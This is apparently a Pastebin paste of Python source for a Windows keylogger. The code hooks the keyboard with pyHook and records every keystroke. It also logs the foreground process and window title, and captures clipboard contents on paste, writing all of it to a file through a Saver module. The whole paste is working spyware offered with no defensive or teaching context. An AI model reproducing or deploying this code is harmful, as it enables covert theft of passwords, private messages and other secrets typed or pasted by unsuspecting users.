Advertisement
Guest User

Untitled

a guest
Apr 23rd, 2017
195
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.16 KB | None | 0 0
  1. from ctypes import *
  2. import pythoncom
  3. import pyHook
  4. import win32clipboard
  5. from saver import Saver
  6. import time
  7.  
  8.  
  9. class Keylogger():
  10. def __init__(self):
  11. self.saver = Saver()
  12. self.user32 = windll.user32
  13. self.krl32 = windll.kernel32
  14. self.psapi = windll.psapi
  15. self.current_windows = None
  16. self.current_time = None
  17.  
  18. def get_current_process(self):
  19. pid = c_long(0)
  20.  
  21. hwnd = self.user32.GetForegroundWindow()
  22. self.user32.GetWindowThreadProcessId(hwnd,byref(pid))
  23. process_id = "%d" % pid.value
  24.  
  25. executable = create_string_buffer("\x00"*512)
  26. h_process = self.krl32.OpenProcess(0x400 | 0x10, False, pid)
  27.  
  28. self.psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
  29. windows_title = create_string_buffer("\x00"*512)
  30. lenght = self.user32.GetWindowTextA(hwnd,byref(windows_title),512)
  31.  
  32. #Save PID to file
  33. a= "\n[*] PID: %s - %s - %s [*]\n" %(process_id,executable.value,windows_title.value)
  34. self.saver.write_to_file(a)
  35.  
  36.  
  37. self.krl32.CloseHandle(hwnd)
  38. self.krl32.CloseHandle(h_process)
  39.  
  40. def keystroke(self,event):
  41. if event.WindowName != self.current_windows:
  42. self.current_windows = event.WindowName
  43. self.get_current_process()
  44.  
  45. if event.Ascii > 32 and event.Ascii < 127:
  46. #write to file
  47. a = (" ".join(chr(event.Ascii)))
  48. self.saver.write_to_file(a)
  49. else:
  50. if event.Key == "V":
  51. win32clipboard.OpenClipboard()
  52. pasted = win32clipboard.GetClipboardData()
  53. win32clipboard.CloseClipboard()
  54. #write to file
  55. a =(" [Wklejono:] %s " % pasted)
  56. self.saver.write_to_file(a)
  57. else:
  58. #write to file
  59. a= ("%s " % event.Key)
  60. self.saver.write_to_file(a)
  61. return True
  62.  
  63. def keylogger(self):
  64. self.saver.set_current_time()
  65. k = pyHook.HookManager()
  66. k.KeyDown = self.keystroke
  67. k.HookKeyboard()
  68. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement